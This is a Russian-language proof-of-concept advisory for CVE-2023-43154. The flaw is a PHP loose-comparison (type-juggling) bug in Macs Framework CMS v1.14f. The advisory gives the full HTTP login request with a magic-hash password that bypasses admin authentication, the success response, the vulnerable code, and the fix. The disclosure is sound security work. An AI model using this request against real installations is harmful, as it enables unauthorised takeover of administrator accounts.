
PoC для уязвимости подмены типов в CMS Mac, которая приводит к обходу аутентификации и захвату учётной записи администратора.
CVE-ID: CVE-2023-43154
CVSS 3.1: 9.8
Описание уязвимости: Нестрогое сравнение в функции isValidLogin() приводит к уязвимости смешения типов PHP, которую можно использовать для обхода аутентификации и получения контроля над учётной записью администратора.
Уязвимые параметры: Имя пользователя и пароль пользователей CMS.
Затронутые продукты: Macs Framework v1.14f — система управления контентом.
Ограничения:
Требуется взаимодействие с пользователем: Нет
Ссылки: https://github.com/ally-petitt/CVE-2023-43154-PoC
Дата обнаружения: 7 сентября 2023 г.
Сообщил: Ally Petitt
Вход по URI /index.php/main/cms/login с именем пользователя учётной записи жертвы и любым паролем, дающим «магический хэш», приведёт к обходу аутентификации.
Пример входа показан ниже.
POST /index.php/main/cms/login HTTP/1.1
Host: 172.17.0.2
Content-Length: 62
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.17.0.2
Referer: http://172.17.0.2/index.php/main/cms/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=di4ceqcv9432vcb0p27rkh7k82
Connection: close
ajaxRequest=true&&username=testadmin&password=0gdVIdSQL8Cm&scrollPosition=0
HTTP/1.1 200 OK
Date: Sat, 09 Sep 2023 02:01:26 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 72
Connection: close
Content-Type: text/html; charset=ISO-8859-1
<script>window.location.href="http://172.17.0.2/index.php/home"</script>
Код состояния 200 и перенаправление на /index.php/home являются признаками того, что попытка входа была успешной. Пароль учётной записи testadmin не был паролем, использованным при попытке входа (0gdVIdSQL8Cm). Вместо этого он был установлен как QNKCDZO.
Когда пользователь пытается войти, его введённый пароль хэшируется и передаётся в качестве параметра в функцию isValidLogin() через первоначальную функцию login(), которая вызывается при POST-запросе к /index.php/Main/CMS/login.
public function login()
{
if($this->isValidLogin(Post::getByKey('username'), $this->encrypt(Post::getByKey('password')) ) || ( $this->isAdminLoggedIn() ))
--snip--
}
Функция isValidLogin() начинается на строке 83 файла /Application/plugins/CMS/controllers/CMS.php. Она уязвима к смешению типов из-за использования двух знаков равенства вместо трёх.
private function isValidLogin($username, $password)
{
$this->loadModels();
$loggedIn = false;
foreach (Config::$editInPlaceAdmins as $key=>$account)
{
if(( $account['username'] == $username) && ($account['password'] == $password ) )
{
$loggedIn = true;
Session::set('AdminLoggedIn', $account);
break;
}
}
Как показано в операторе if, имя пользователя и пароль проверяются с помощью нестрогого сравнения, что приводит к уязвимости смешения типов PHP. Этим можно воспользоваться при входе с паролем, который даёт «магический хэш», то есть хэш, интерпретируемый PHP как значение 0 при нестрогом сравнении. Список таких паролей можно найти здесь.
Чтобы использовать эту уязвимость, важно сначала понять формат, в котором хранится $account['password']. В функции сохранения новой учётной записи пользователя на строке 730 упомянутого файла CMS.php становится ясно, что пароль сначала пропускается через функцию encrypt, а затем сохраняется.
$password = $this->encrypt(Post::getByKey('password'));
$confirmPassword = $this->encrypt(Post::getByKey('confirmPassword'));
-- snip --
private function saveNewUser( $username, $password, $emailAddress, $roleId)
Далее, в функции, вызываемой после обработки пароля функцией encrypt, используется следующий код:
private function saveNewUser( $username, $password, $emailAddress, $roleId)
{
--snip--
$this->usersModel->insertUser($username, $password, $emailAddress, $roleId);
--snip--
}
Исходя из приведённого выше кода, видно, что «зашифрованный» пароль помещается непосредственно в модель users MVC-фреймворка. Наконец, для эксплуатации этой уязвимости необходимо понять, как работает функция encrypt, поскольку её результат напрямую сравнивается с пользовательским вводом.
private function encrypt( $string )
{
return md5($string);
}
Функция encrypt возвращает MD5-хэш переданной ей строки. Это означает, что при вызове функции login() с учётными данными, введёнными пользователем, введённый пароль хэшируется и сравнивается с сохранённым MD5-хэшем учётной записи жертвы.
Это означает, что при использовании пароля, дающего PHP-коллизию, или «магического хэша», он будет распознан как эквивалентный при сравнении с сохранённым паролем, который также соответствует формату «магического хэша». В результате очень большое количество паролей может быть использовано для аутентификации и получения контроля над учётной записью администратора, даже если исходный пароль заранее неизвестен.
Эту уязвимость можно устранить, заменив в функции isValidLogin() нестрогое сравнение на строгое, то есть заменив == на ===.